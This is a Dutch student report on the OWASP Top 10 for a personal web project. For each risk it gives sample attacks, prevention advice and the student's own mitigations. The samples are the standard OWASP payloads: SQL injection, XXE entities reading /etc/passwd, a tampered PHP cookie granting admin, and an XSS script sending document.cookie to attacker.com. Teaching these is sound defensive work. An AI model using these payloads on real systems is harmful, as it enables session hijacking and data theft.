OWASP Report

My Koi Pond – Semester 4

***De OWASP Top 10 is een standaard bewustzijnsdocument voor ontwikkelaars en beveiliging van webapplicaties. Het vertegenwoordigt een brede consensus over de meest kritieke beveiligingsrisico's voor webapplicaties.***

Inhoud

[Top 10 Web Application Security Risks 2](#_Toc42011029)

[Injection. 2](#_Toc42011030)

[Maar aan welke senarios kun je dan denken? 2](#_Toc42011031)

[Hoe kun je deze hacks voorkomen? 3](#_Toc42011032)

[Hoe heb ik dit opgelost? 3](#_Toc42011033)

[Broken Authentication 4](#_Toc42011034)

[Maar aan welke senarios kun je dan denken? 4](#_Toc42011035)

[Hoe kun je deze hacks voorkomen? 4](#_Toc42011036)

[Hoe heb ik dit opgelost? 4](#_Toc42011037)

[Sensitive Data Exposure 5](#_Toc42011038)

[Maar aan welke senarios kun je dan denken? 5](#_Toc42011039)

[Hoe kun je deze hacks voorkomen? 5](#_Toc42011040)

[Hoe heb ik dit opgelost? 5](#_Toc42011041)

[XML External Entities (XXE) 7](#_Toc42011042)

[Maar aan welke scenario’s kun je dan denken? 7](#_Toc42011043)

[Hoe kun je deze hacks voorkomen? 7](#_Toc42011044)

[Hoe heb ik dit opgelost? 7](#_Toc42011045)

[Broken Access Control 8](#_Toc42011046)

[Maar aan welke scenario’s kun je dan denken? 8](#_Toc42011047)

[Hoe kun je deze hacks voorkomen? 8](#_Toc42011048)

[Hoe heb ik dit opgelost? 8](#_Toc42011049)

[Security Misconfiguration 9](#_Toc42011050)

[Maar aan welke scenario’s kun je dan denken? 9](#_Toc42011051)

[Hoe kun je deze hacks voorkomen? 9](#_Toc42011052)

[Hoe heb ik dit opgelost? 9](#_Toc42011053)

[Cross-Site Scripting XSS 10](#_Toc42011054)

[Maar aan welke scenario’s kun je dan denken? 10](#_Toc42011055)

[Hoe kun je deze hacks voorkomen? 10](#_Toc42011056)

[Hoe heb ik dit opgelost? 10](#_Toc42011057)

[Insecure Deserialization 11](#_Toc42011058)

[Maar aan welke scenario’s kun je dan denken? 11](#_Toc42011059)

[Hoe kun je deze hacks voorkomen? 11](#_Toc42011060)

[Hoe heb ik dit opgelost? 11](#_Toc42011061)

[Using Components with Known Vulnerabilities 12](#_Toc42011062)

[Maar aan welke scenario’s kun je dan denken? 12](#_Toc42011063)

[Hoe kun je deze hacks voorkomen? 12](#_Toc42011064)

[Hoe heb ik dit opgelost? 12](#_Toc42011065)

[Insufficient Logging & Monitoring 13](#_Toc42011066)

[Maar aan welke scenario’s kun je dan denken? 13](#_Toc42011067)

[Hoe kun je deze hacks voorkomen? 13](#_Toc42011068)

[Hoe heb ik dit opgelost? 13](#_Toc42011069)

# Top 10 Web Application Security Risks

In dit document leg ik uit hoe OWASP wordt toegepast binnen mijn applicatie. Hierbij gebruik ik de top 10 meest voorkomende beveiligingsresico’s. In dit document ga ik niet laten zien hoe er misbruik van deze hacks kan worden gemaakt binnen mijn eigen applicatie wel geef ik algemene voorbeelden. in

Injection.

Injectiefouten, zoals SQL-, NoSQL-, OS- en LDAP-injectie, treden op wanneer niet-vertrouwde gegevens als onderdeel van een opdracht of query naar een interpreter in bijv. De backend worden gestuurd. De vijandige gegevens van de aanvaller kunnen de tolk ertoe verleiden onbedoelde opdrachten uit te voeren of toegang te krijgen tot gegevens zonder de juiste toestemming.

### Maar aan welke senarios kun je dan denken?

* Een applicatie gebruikt niet-vertrouwde gegevens bij de constructie van de volgende kwetsbare SQL-query:

String query = "SELECT \* FROM accounts WHERE custID = '" + request.getParameter ("id") + "'";

* Evenzo kan het blind vertrouwen van een applicatie in frameworks resulteren in queries die nog steeds kwetsbaar zijn (bijvoorbeeld Hibernate Query Language (HQL)):
* In beide gevallen wijzigt de aanvaller de parameterwaarde ‘id’ in zijn browser om te verzenden: ‘or‘ 1 ’=’ 1. Bijvoorbeeld:

http://example.com/app/accountView?id= 'of' 1 '=' 1

Query HQLQuery = session.createQuery ("FROM accounts WHERE custID = '" + request.getParameter ("id") + "'"));

### Hoe kun je deze hacks voorkomen?

* De voorkeursoptie is om een ​​veilige API te gebruiken, die het gebruik van de interpreter volledig vermijdt of een geparametriseerde interface biedt, of migreert om Object Relational Mapping Tools (ORM's) te gebruiken
* Gebruik positieve invoervalidatie aan serverzijde. Dit is geen volledige verdediging, aangezien voor veel toepassingen speciale tekens nodig zijn, zoals tekstgebieden of API's voor mobiele toepassingen.
* Voor eventuele resterende dynamische query's, ontsnapt u aan speciale tekens met de specifieke escape-syntaxis voor die interpreter.
* Gebruik LIMIT en andere SQL-besturingselementen binnen query's om massale openbaarmaking van records te voorkomen in het geval van SQL-injectie.

### Hoe heb ik dit opgelost?

#### Ik gebruik JPA. Ik ben veilig, toch?

Dit is een veel voorkomende misvatting. JPA en andere ORM's ontheffen ons van het maken van handgecodeerde SQL-instructies, maar ze zullen ons er niet van weerhouden om kwetsbare code te schrijven.

Laten we eens kijken hoe de JPA-versie van het vorige voorbeeld eruitziet:

public List<AccountDTO> unsafeJpaFindAccountsByCustomerId(String customerId) {

String jql = "from Account where customerId = '" + customerId + "'";

TypedQuery<Account> q = em.createQuery(jql, Account.class);

return q.getResultList()

.stream()

.map(this::toAccountDTO)

.collect(Collectors.toList());

}

Hetzelfde probleem dat we eerder hebben genoemd, is hier ook aanwezig: we gebruiken niet-gevalideerde invoer om een ​​JPA-query te maken, dus we worden hier blootgesteld aan hetzelfde soort misbruik.

Daarom heb ik er in mijn project voor gekozen om de mijn interfaces te extende met de JpaRepository. De JpaRepository interface zorgt ervoor dat dit niet meer mogelijk is hoe dit werkt laat ik hieronder zien ook wel parameter escaping genoemd. Dit wordt helemaal verzorgt door het framework zelf. Ook is het niet mogelijk een injection via een url te plaatsen, wel is het mogelijk gegevens van een andere gebruiker op te vragen omdat hier ook niet voldoende tijd voor was. Hateoas is zeer complex en vond het dan ook belangrijker mij hier meer in te verdiepen.

String query1 = "select \* from MyBean where id = "+ id; //onveilig

String query2 = "select \* from MyBean where id = :id"; //veilig

## Broken Authentication

Toepassingsfuncties met betrekking tot authenticatie en sessiebeheer worden vaak onjuist geïmplementeerd, waardoor aanvallers wachtwoorden, sleutels of sessietokens kunnen compromitteren of andere implementatiefouten kunnen misbruiken om de identiteit van andere gebruikers tijdelijk of permanent over te nemen.

### Maar aan welke senarios kun je dan denken?

* Automatische laten invullen van inlog gegevens, het gebruik van lijsten met bekende wachtwoorden, is een veel voorkomende aanval. Het system stuurt elke oneindig inlog gegevens tot hij een correcte terug kijgt. Deze slaat hij dan op.
* Time-outs voor applicatiesessies zijn niet correct ingesteld. Een gebruiker gebruikt een openbare computer om toegang te krijgen tot een applicatie. In plaats van "logout" te selecteren, sluit de gebruiker eenvoudig het browsertabblad en loopt weg. Een aanvaller gebruikt een uur later dezelfde browser en de gebruiker is nog steeds geverifieerd.

### Hoe kun je deze hacks voorkomen?

* Implementeer waar mogelijk multi-factor authenticatie om geautomatiseerde invulling van legitimatiegegevens, brute force en gestolen hergebruikaanvallen te voorkomen.
* Implementeer zwakke wachtwoordcontroles, zoals het testen van nieuwe of gewijzigde wachtwoorden op basis van een lijst met de 10000 slechtste wachtwoorden.
* Stem het beleid voor wachtwoordlengte, complexiteit en rotatie af op elkaar
* Beperk of vertraag mislukte inlogpogingen. Registreer alle fouten en waarschuw beheerders wanneer het vullen van referenties, brute force of andere aanvallen worden gedetecteerd.
* Gebruik een server-side, veilige, ingebouwde sessiebeheerder die na inloggen een nieuwe willekeurige sessie-ID met hoge entropie genereert. Sessie-ID's mogen niet in de URL staan, veilig worden opgeslagen en ongeldig worden gemaakt na uitloggen, inactiviteit en absolute time-outs.

### Hoe heb ik dit opgelost?

In mijn applicatie maak ik gebruik van jws tokens deze token zijn encrypted maar niet volledig veilig binnen mijn applicatie. Hier is helaas niet genoeg tijd voor binnen het semester en is ook niet een Prioriteit tijdens dit semster. Wanneer ik hier wel voldoende tijd voor had zou ik graag me meer verdiepen in oauth2 authenticatie. Zowel extern als intern met behulp van bijvoorbeeld google.

## Sensitive Data Exposure

Veel webapplicaties en API's beschermen gevoelige gegevens, zoals financiën, gezondheidszorg en PII, niet goed. Aanvallers kunnen dergelijke zwak beschermde gegevens stelen of wijzigen om creditcardfraude, identiteitsdiefstal of andere misdaden uit te voeren. Gevoelige gegevens kunnen worden gecompromitteerd zonder extra bescherming, zoals versleuteling in rust of onderweg, en vereisen speciale voorzorgsmaatregelen bij uitwisseling met de browser.

### Maar aan welke senarios kun je dan denken?

* Een applicatie versleutelt creditcardnummers in een database met automatische databasecodering. Deze gegevens worden echter automatisch gedecodeerd wanneer ze worden opgehaald, waardoor een SQL-injectiefout creditcardnummers in duidelijke tekst kan ophalen.
* Een site gebruikt of handhaaft geen TLS voor alle pagina's of ondersteunt zwakke codering. Een aanvaller bewaakt het netwerkverkeer (bijvoorbeeld op een onveilig draadloos netwerk), downgradet verbindingen van HTTPS naar HTTP, onderschept verzoeken en steelt de sessiecookie van de gebruiker. De aanvaller herhaalt deze cookie en kaapt de (geverifieerde) sessie van de gebruiker, waarbij hij toegang krijgt tot de privégegevens van de gebruiker of deze wijzigt. In plaats van het bovenstaande zouden ze alle getransporteerde gegevens kunnen veranderen, b.v. de ontvanger van een geldoverdracht.
* De wachtwoorddatabase gebruikt unsalted of eenvoudige hashes om ieders wachtwoorden op te slaan. Door een fout in het uploaden van bestanden kan een aanvaller de wachtwoorddatabase ophalen. Alle unsalted hashes kunnen worden geanaliseerd met een regenboogtabel met vooraf berekende hashes. Hashes gegenereerd door eenvoudige of snelle hash-functies kunnen door GPU's worden gekraakt, zelfs als ze zijn gesalt.

### Hoe kun je deze hacks voorkomen?

* Classificeer gegevens die zijn verwerkt, opgeslagen of verzonden door een applicatie. Identificeer welke gegevens gevoelig zijn volgens privacywetgeving, wettelijke vereisten of zakelijke behoeften.
* Pascontroles toe volgens de classificatie.
* Sla gevoelige gegevens niet onnodig op. Gooi het zo snel mogelijk weg of gebruik PCI DSS-compatibele tokenisatie of zelfs truncatie. Gegevens die niet worden bewaard, kunnen niet worden gestolen.
* Zorg ervoor dat up-to-date en sterke standaardalgoritmen, protocollen en sleutels aanwezig zijn; gebruik goed sleutelbeheer.
* Versleutel alle gegevens die onderweg zijn met veilige protocollen zoals TLS met perfecte forward secrecy (PFS) -codes, coderingsprioritering door de server en veilige parameters. Dwing versleuteling af met richtlijnen zoals HTTP Strict Transport Security (HSTS).
* Schakel caching uit voor reacties die gevoelige gegevens bevatten.
* Sla wachtwoorden op met behulp van sterke adaptieve en gezouten hashingfuncties met een werkfactor (vertragingsfactor), zoals Argon2, scrypt, bcrypt of PBKDF2.
* Controleer onafhankelijk de effectiviteit van configuratie en instellingen.

### Hoe heb ik dit opgelost?

Zoals eerder al aangegevens is in mijn project de security niet de hoogste Prioriteit. Alle wachtwoorden daarintegen worden wel gehast met het bcrypt protocol en veilig opgeslagen in de database. Overige gevens op de applicatie hebben geen encrypty nodig omdat deze opgeslagen gevens niet schadelijk zijn en ongevoelig. Waneer ik wel voldoende tijd had gehad had ik me graag verdiept in het verder salten van de gevoelige data met een personal key ook had ik dan kunnen kijken naar een validator voor wachtwoorden die bijvoorbeeld een rainbowtable checkt.

## XML External Entities (XXE)

Veel oudere of slecht geconfigureerde XML-processors evalueren externe entiteitsreferenties binnen XML-documenten. Externe entiteiten kunnen worden gebruikt om interne bestanden vrij te geven met behulp van de bestands-URI-handler, interne bestandsshares, interne poortscanning, externe code-uitvoering en denial of service-aanvallen.

### Maar aan welke scenario’s kun je dan denken?

* De aanvaller probeert gegevens van de server te extraheren:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

* Een aanvaller onderzoekt het privé-netwerk van de server door de bovenstaande ENTITY-regel te wijzigen in:

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

* Een aanvaller probeert een denial-of-service-aanval uit door een potentieel eindeloos bestand op te nemen:

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

### Hoe kun je deze hacks voorkomen?

* Gebruik waar mogelijk minder complexe gegevensindelingen zoals JSON en vermijd serialisering van gevoelige gegevens.
* Patch of upgrade alle XML-processors en bibliotheken die in gebruik zijn door de applicatie of op het onderliggende besturingssysteem. Gebruik afhankelijkheidscheckers. Werk SOAP bij naar SOAP 1.2 of hoger.
* Schakel XML externe entiteit en DTD-verwerking uit in alle XML-parsers in de applicatie, volgens de OWASP Cheat Sheet ‘XXE Prevention’.
* Implementeer positieve ("whitelisting") invoervalidatie, filtering of opschoning aan serverzijde om vijandige gegevens in XML-documenten, headers of nodes te voorkomen.
* Controleer of de functionaliteit voor het uploaden van XML- of XSL-bestanden inkomende XML valideert met XSD-validatie of vergelijkbaar.

### Hoe heb ik dit opgelost?

Voor mijn applicatie gebruik ik de sjon gegevensindelingen voor het terug koppelen naar de frontend ook het receiven in het sjon formaat. Dit is niet van toepassing op mijn applicatie omdat xml niet wordt gebruikt.

## Broken Access Control

Beperkingen op wat geauthenticeerde gebruikers mogen doen, worden vaak niet correct gehandhaafd. Aanvallers kunnen deze gebreken misbruiken om toegang te krijgen tot ongeoorloofde functionaliteit en/ of gegevens, zoals toegang krijgen tot de accounts van andere gebruikers, gevoelige bestanden bekijken, de gegevens van andere gebruikers wijzigen, toegangsrechten wijzigen, enz.

### Maar aan welke scenario’s kun je dan denken?

* De applicatie gebruikt niet-geverifieerde gegevens in een SQL-aanroep die toegang heeft tot accountgegevens:

pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

Een aanvaller wijzigt eenvoudig de ‘acct’ -parameter in de browser om het gewenste accountnummer te verzenden. Als de aanvaller niet correct is geverifieerd, heeft hij toegang tot het account van elke gebruiker.

<http://example.com/app/accountInfo?acct=notmyacct>

* Een aanvaller forceert eenvoudig browses om URL's te targeten. Beheerdersrechten zijn vereist voor toegang tot de beheerderspagina.

http://example.com/app/getappInfo

<http://example.com/app/admin_getappInfo>

If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.

### Hoe kun je deze hacks voorkomen?

* JWT-tokens moeten na uitloggen ongeldig worden gemaakt op de server.

Ontwikkelaars en QA-medewerkers moeten functionele toegangscontrole-eenheid en integratietests opnemen.

* Snelheidslimiet aantal requests per minuut of dag API- en controllertoegang om de schade door geautomatiseerde aanvalstooling te minimaliseren.
* Registreer mislukte toegangscontroles en waarschuw beheerders indien nodig (bijv. Herhaalde storingen).
* Modeltoegangscontroles moeten het eigendom van records afdwingen, in plaats van te accepteren dat de gebruiker elk record kan maken, lezen, bijwerken of verwijderen.

### Hoe heb ik dit opgelost?

Mijn applicatie maakt door de tijdsdruk niet volledig gebruik van het authorization management system van spingboot security. Mijn applicatie maakt vooralsnog alleen gebruik van authorization checks op de frontend. Ik heb natuurlijk wel uitgezocht hoe het werkt en toegepast kan worden mocht het ooit toegepast worden in de backend. Wanneer er voldoende tijd was had ik hier een extra validatie kunnen bouwen die het checken van het aantal inlog pogingen checked en een request limiet insteld.

## Security Misconfiguration

Verkeerde configuratie van de beveiliging is het meest voorkomende probleem. Dit is meestal het gevolg van onveilige standaardconfiguraties, onvolledige of ad-hocconfiguraties, open cloudopslag, verkeerd geconfigureerde HTTP-headers en uitgebreide foutmeldingen die gevoelige informatie bevatten. Niet alleen moeten alle besturingssystemen, frameworks, bibliotheken en applicaties veilig zijn geconfigureerd, maar ze moeten ook tijdig worden gepatcht / geüpgraded.

### Maar aan welke scenario’s kun je dan denken?

* De application server wordt geleverd met voorbeeldtoepassingen die niet van de productieserver zijn verwijderd. Deze voorbeeldtoepassingen hebben bekende beveiligingsfouten die aanvallers gebruiken om de server te beschadigen. Als een van deze applicaties de beheerdersconsole is en de standaardaccounts niet zijn gewijzigd, logt de aanvaller in met standaardwachtwoorden en neemt het over.
* Directory listing is niet uitgeschakeld op de server. Een aanvaller ontdekt dat ze eenvoudig mappen kunnen weergeven. De aanvaller vindt en downloadt de gecompileerde Java-klassen, die ze decompileren en reverse-engineeren om de code te bekijken. De aanvaller vindt dan een ernstig gebrek aan toegangscontrole in de applicatie.
* De configuratie van de applicatieserver staat gedetailleerde foutmeldingen toe, b.v. stacktraces, terug te sturen naar gebruikers. Dit stelt mogelijk gevoelige informatie of onderliggende gebreken bloot, zoals componentenversies waarvan bekend is dat ze kwetsbaar zijn.

### Hoe kun je deze hacks voorkomen?

* Een herhaalbaar verhardingsproces dat het snel en gemakkelijk maakt om een ​​andere omgeving te implementeren die goed is vergrendeld. Ontwikkelings-, QA- en productieomgevingen moeten allemaal identiek worden geconfigureerd, met verschillende referenties die in elke omgeving worden gebruikt. Dit proces moet worden geautomatiseerd om de inspanning die nodig is om een ​​nieuwe veilige omgeving in te richten tot een minimum te beperken.
* Een minimaal platform zonder onnodige functies, componenten, documentatie en voorbeelden. Verwijder of installeer niet-gebruikte functies en frameworks.
* Een gesegmenteerde applicatiearchitectuur die een effectieve, veilige scheiding tussen componenten of tenants biedt, met segmentatie-, containerisatie- of cloudbeveiligingsgroepen (ACL's).
* Een geautomatiseerd proces om de effectiviteit van de configuraties en instellingen in alle omgevingen te verifiëren.

### Hoe heb ik dit opgelost?

Error handeling binnen mijn applicatie word afgehandeld met spring rest data. Deze is geconfigureerd naar mijn wensen. Verdere restricties zijn nog niet toepast zoals rollen binnen de applicatie wel is het inloggen vereist om data te kunnen uitlezen. Ook is er een implementatie van hateoas hal die restricties legt op het gebruik van id binnen de applicatie.

## Cross-Site Scripting XSS

XSS-fouten treden op wanneer een applicatie niet-vertrouwde gegevens op een nieuwe webpagina opneemt zonder de juiste validatie of ontsnapping, of een bestaande webpagina bijwerkt met door de gebruiker verstrekte gegevens met behulp van een browser-API die HTML of JavaScript kan maken. Met XSS kunnen aanvallers scripts uitvoeren in de browser van het slachtoffer, die gebruikerssessies kunnen kapen, websites kunnen beschadigen of de gebruiker kunnen omleiden naar kwaadaardige sites.

### Maar aan welke scenario’s kun je dan denken?

* De applicatie gebruikt niet-vertrouwde gegevens bij de constructie van het volgende HTML-fragment zonder validatie of ontsnapping:

(String) pagina + = "<input name = 'creditcard' type = 'TEXT'

value = '"+ request.getParameter (" CC ") +"'> ";

De aanvaller past de parameter ‘CC’ in de browser aan om:

'> <script> document.location =

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo = '+ document.cookie </script>'.

Door deze aanval wordt de sessie-ID van het slachtoffer naar de website van de aanvaller gestuurd, zodat de aanvaller de huidige sessie van de gebruiker kan kapen.

### Hoe kun je deze hacks voorkomen?

* Met frameworks die XSS automatisch per ontwerp escapen, zoals de nieuwste Ruby on Rails, React JS. Leer de beperkingen van de XSS-bescherming van elk framework en ga op de juiste manier om met de use cases die niet worden behandeld.
* het wegnemen van niet-vertrouwde HTTP-verzoekgegevens op basis van de context in de HTML-uitvoer (body, attribuut, JavaScript, CSS of URL) lost gereflecteerde en opgeslagen XSS-kwetsbaarheden op. De OWASP Cheat Sheet ‘XSS Prevention’ bevat details over de vereiste technieken voor het ontsnappen van gegevens.
* Het inschakelen van een Content Security Policy (CSP) als een diepgaande, verzachtende controle tegen XSS. Het is effectief als er geen andere kwetsbaarheden zijn die het plaatsen van kwaadaardige code via lokale bestandsopnames mogelijk zouden maken (bijv. Overschrijven van paden of kwetsbare bibliotheken van toegestane netwerken voor inhoudslevering).

### Hoe heb ik dit opgelost?

Springboot maakt gebruik van een content syciryt policy om aanvallen doormiddel van xss te voorkomen dit process wordt volledig afgevangen en is te configuren naar wens.

## Insecure Deserialization

Onveilige deserialisatie leidt vaak tot uitvoering van externe code. Zelfs als gebreken in de deserialisatie niet leiden tot uitvoering van externe code, kunnen ze worden gebruikt om aanvallen uit te voeren, waaronder herhalingsaanvallen, injectie-aanvallen en escalatie-aanvallen met bevoegdheden.

### Maar aan welke scenario’s kun je dan denken?

* Een React-toepassing roept een set Spring Boot-microservices aan. Als functionele programmeurs probeerden ze ervoor te zorgen dat hun code onveranderlijk is. De oplossing die ze bedachten, is de gebruikersstatus serialiseren en deze bij elk verzoek heen en weer doorgeven. Een aanvaller ziet de "R00" -handtekening van het Java-object en gebruikt de Java Serial Killer-tool om externe code op de applicatieserver uit te voeren.
* Een PHP-forum gebruikt PHP-serialisering van objecten om een ​​"super" -cookie op te slaan, die de gebruikers-ID, rol, wachtwoordhash en andere status van de gebruiker bevat:

a: 4: {i: 0; i: 132; i: 1; s: 7: "Mallory"; i: 2; s: 4: "user";

i: 3; s: 32: "b6a8b3bea87fe0e05022f8f3c88bc960";}

Een aanvaller verandert het geserialiseerde object om zichzelf beheerdersrechten te geven:

a: 4: {i: 0; i: 1; i: 1; s: 5: "Alice"; i: 2; s: 5: "admin";

i: 3; s: 32: "b6a8b3bea87fe0e05022f8f3c88bc960";}

### Hoe kun je deze hacks voorkomen?

* Integriteitscontroles implementeren, zoals digitale handtekeningen op alle geserialiseerde objecten om te voorkomen dat er vijandige objecten worden gemaakt of dat er met gegevens wordt geknoeid.
* Het afdwingen van strikte typebeperkingen tijdens deserialisatie vóór het maken van een object, aangezien de code doorgaans een definieerbare set klassen verwacht. Er zijn omleidingen voor deze techniek aangetoond, dus het is niet aan te raden hier uitsluitend op te vertrouwen.
* Het isoleren en uitvoeren van code die indien mogelijk deserialiseert in omgevingen met lage bevoegdheden.
* Log deserialisatie-uitzonderingen en -fouten, zoals wanneer het inkomende type niet het verwachte type is, of deserialisatie genereert uitzonderingen.
* Inkomende en uitgaande netwerkconnectiviteit beperken of bewaken vanaf containers of servers die deserialiseren.

### Hoe heb ik dit opgelost?

/

## Using Components with Known Vulnerabilities

Componenten, zoals bibliotheken, frameworks en andere softwaremodules, werken met dezelfde rechten als de applicatie. Als een kwetsbaar onderdeel wordt misbruikt, kan een dergelijke aanval ernstig gegevensverlies of overname van servers vergemakkelijken. Applicaties en API's die componenten gebruiken met bekende kwetsbaarheden kunnen de verdediging van applicaties ondermijnen en verschillende aanvallen en impacts mogelijk maken.

### Maar aan welke scenario’s kun je dan denken?

* Componenten worden doorgaans uitgevoerd met dezelfde rechten als de applicatie zelf, dus gebreken in elk onderdeel kunnen ernstige gevolgen hebben. Dergelijke fouten kunnen per ongeluk (bijv. Codeerfout) of opzettelijk (bijv. Achterdeur in component) zijn.

### Hoe kun je deze hacks voorkomen?

* Verwijder ongebruikte afhankelijkheden, onnodige functies, componenten, bestanden en documentatie.
* Haal alleen componenten uit officiële bronnen via beveiligde links. Geef de voorkeur aan ondertekende pakketten om de kans te verkleinen dat een gewijzigd, kwaadaardig onderdeel wordt opgenomen.
* Controleer op bibliotheken en componenten die niet worden onderhouden of die geen beveiligingspatches voor oudere versies maken. Als patching niet mogelijk is, overweeg dan om een ​​virtuele patch te implementeren om het ontdekte probleem te bewaken, detecteren of beschermen.

### Hoe heb ik dit opgelost?

In mijn applicatie maak ik gebruik van de nieuwste libraries. Deze libraries moeten wel in de toekomst worden geupdate wanneer hier een kwetsbaarheid voor is gevonden. Tooling zoals github kan hier een makkelijke oplossing voor zijn. Binnen mijn applicatie is dit niet van toepassing omdat het een persoonlijk project is en in de toekomst niet meer zal worden gebruikt.

## Insufficient Logging & Monitoring

Onvoldoende logging en monitoring, in combinatie met ontbrekende of ineffectieve integratie met incidentrespons, stelt aanvallers in staat systemen verder aan te vallen, doorzettingsvermogen te behouden, naar meer systemen te draaien en gegevens te manipuleren, te extraheren of te vernietigen. De meeste inbreukonderzoeken laten zien dat de tijd om een ​​inbreuk te detecteren meer dan 200 dagen bedraagt, meestal gedetecteerd door externe partijen in plaats van interne processen of monitoring.

### Maar aan welke scenario’s kun je dan denken?

* Een open source projectforumsoftware van een klein team werd gehackt met een fout in de software. De aanvallers wisten de interne broncode-opslagplaats met de volgende versie en alle foruminhoud te vernietigen. Hoewel de bron kon worden hersteld, leidde het gebrek aan monitoring, logging of waarschuwing tot een veel ergere inbreuk. Als gevolg van dit probleem is het forumsoftwareproject niet meer actief.
* Een aanvaller gebruikt scans voor gebruikers die een gemeenschappelijk wachtwoord gebruiken. Met dit wachtwoord kunnen ze alle accounts overnemen. Voor alle andere gebruikers laat deze scan slechts één valse login achter. Dit kan na enkele dagen worden herhaald met een ander wachtwoord.
* Een grote Amerikaanse detailhandelaar had naar verluidt een interne sandbox voor malware-analyse die bijlagen analyseerde. De sandbox-software had potentieel ongewenste software gedetecteerd, maar niemand reageerde op deze detectie. De sandbox produceerde al enige tijd waarschuwingen voordat de inbreuk werd ontdekt als gevolg van frauduleuze kaarttransacties door een externe bank.

### Hoe kun je deze hacks voorkomen?

* Zorg ervoor dat alle inlog-, toegangscontrolefouten en mislukte invoervalidaties aan de server kunnen worden geregistreerd met voldoende gebruikerscontext om verdachte of kwaadaardige accounts te identificeren, en voldoende lang worden bewaard om vertraagde forensische analyse mogelijk te maken.
* Zorg ervoor dat logboeken worden gegenereerd in een indeling die gemakkelijk kan worden gebruikt door oplossingen voor gecentraliseerd logbeheer.
* Zorg ervoor dat transacties met een hoge waarde een controlespoor hebben met integriteitscontroles om manipulatie of verwijdering te voorkomen, zoals alleen databasetabellen toevoegen of iets dergelijks.
* Zorg voor een effectieve monitoring en waarschuwing zodat verdachte activiteiten tijdig worden opgespoord en beantwoord.

### Hoe heb ik dit opgelost?

Dit is niet voor mij van toepassing. Wel kan ik het toepassen wanneer nodig met een library genaamd Log4j2 deze libraty logt een class en wanneer er een error of een waning plaatsvind wordt deze opgeslagen.